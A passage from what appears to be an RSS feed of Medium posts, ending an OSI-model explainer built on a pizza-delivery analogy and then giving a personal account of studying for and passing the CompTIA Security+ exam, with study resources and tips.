layer<br></strong>Before the pizza leaves the restaurant, there’s a final quality check to make sure everything is correct. The Transport Layer does the same thing for data. It ensures that all the pieces of data arrive complete and in the right order, just like how you’d want all parts of your order to be correct.</p><p><strong>Layer 5: Session Layer<br></strong>This layer is like the phone call you made to order the pizza. It keeps the communication line open between you and the restaurant until the delivery is complete. In networking, the Session Layer manages the ongoing conversation between two devices, ensuring that data is exchanged properly.</p><p><strong>Layer 6: Presentation Layer<br></strong>The Presentation Layer is like the pizza box. It formats and packages the data in a way that the receiving end can understand, just as a pizza needs to be properly boxed so it’s ready to eat when it arrives. This layer handles data translation and encryption, making sure it’s in a usable form.</p><p><strong>Layer 7: Application Layer<br></strong>Finally, the Application Layer is where you get to enjoy your pizza. It’s the layer you interact with directly, like a web browser or email client. This is where the data reaches its final destination and is presented in a way you can use, just like how you enjoy the delivered pizza.</p><p><em>Now it’s time to bring it all together,</em><br>The OSI model works as a system, with each layer playing a crucial role in ensuring data reaches its destination just as it should. By thinking of the OSI model as a pizza delivery process, it becomes easier to understand how complex networking concepts work together to deliver data across the internet.</p><p>Next time you enjoy a pizza delivery, think about the OSI model and how it helps deliver data just as smoothly (or maybe think about it after you have had your pizza and there is some room for Networking in your brain) Understanding these layers is key to mastering networking, and with this analogy, I hope it feels a little less daunting.</p><p>Feel free to leave comments or questions! Until next time :D<br><strong><em>Up next: TCP/IP Model</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b37c2b48889" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What I did to pass CompTIA Security+]]></title>
            <link>https://medium.com/@sushinsec/what-i-did-to-pass-comptia-security-24c7f42865d3?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/24c7f42865d3</guid>
            <category><![CDATA[comptia-certifications]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Tue, 16 Jul 2024 16:14:28 GMT</pubDate>
            <atom:updated>2024-07-16T16:14:28.505Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*YXrivRYbwDZMwZbt.png" /><figcaption>source: credly.com</figcaption></figure><p>Hello,<br>As the title suggests, I officially passed my Security+ (SY0–601) certification recently, and here are my thoughts</p><p>To preface, I have yet to gain professional experience in Information Security. I have a CompSci Bachelor and a Master’s in Information Systems Security.</p><p>I wanted to pivot into Infosec/Cybersec and hence, I decided to take the Secuirty+ exam. I started planning for this in September’23. Life happened, I got busy with school and the certification took a detour. In January 2024, I purchased the voucher and decided to study. Again, I procrastinated and didn’t study until June. One day I woke up and decided to schedule it and gave myself 45 days to finish studying and take the exam finally. I was scheduled to take my exam on July 13th.</p><p>Study materials I used (Chronological Order)</p><ol><li>Professor Messer Videos — Unlike others, I got bored with his teaching style by the time I reached Domain 3. His content was amazing and pretty straightforward, it wasn’t just for me. So for Domains 1,2, I did Messer’s Videos, took extensive notes, and was simultaneously taking quizzes on the Security+ app by Thanh (Available on iOS)</li><li>Inside Cloud and Security’s exam cram — Pete was an amazing teacher and I resonated with his way of teaching. I did Domain 4,5 from his series and however, did not take extensive notes like I did for Domains 1 and 2. For Domain 3, I was looking into the objectives and it felt like the most difficult part for me. I watched Pete’s videos and by the time it was July 10th, I still had 6 subdomains to finish. I crammed as much as I could but I failed to finish the subdomains 3.7,3.8,3.9 but I decided to take the exam whatsoever. I downloaded his PDFs (available via OneDrive, the link can be found in the description of his YouTube videos) and have gone through all the subdomains just to get an idea.</li><li>Professor Messer’s practice exams — These exams helped me understand the depth of the questions in the actual exam. These questions were closest to what was in the test. Highly recommend</li><li>CompTIA Security+ Objectives — As simple as it sounds, going through this PDF and making sure every topic is covered is the best thing to do. If there is any topic that didn’t ring bells to me, I would ask ChatGPT to make me understand. (The prompt I used: I am preparing for my CompTIA security+ SY0–601 and I need to know everything there is to know about &lt;insert topic&gt; also include all the important things and key points that will help me with this topic in the exam.) This worked well for me.</li></ol><p>After all these learning resources, the best thing that helped me was being confident and ready. Although I didn’t thoroughly study all the concepts, I told myself that I was ready. It took a lot of time to get there but I eventually did. Trust yourself! You will do great!</p><ol><li>Don’t get overwhelmed although that is the first thing bound to happen. (Try as much as you can)</li><li>Stay hydrated, eat good food, and sleep well the night before the exam</li><li>Prep the exam surroundings according to PearsonVUE guidelines if you are taking the test online.</li></ol><p>ALL THE BEST, rooting for you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24c7f42865d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>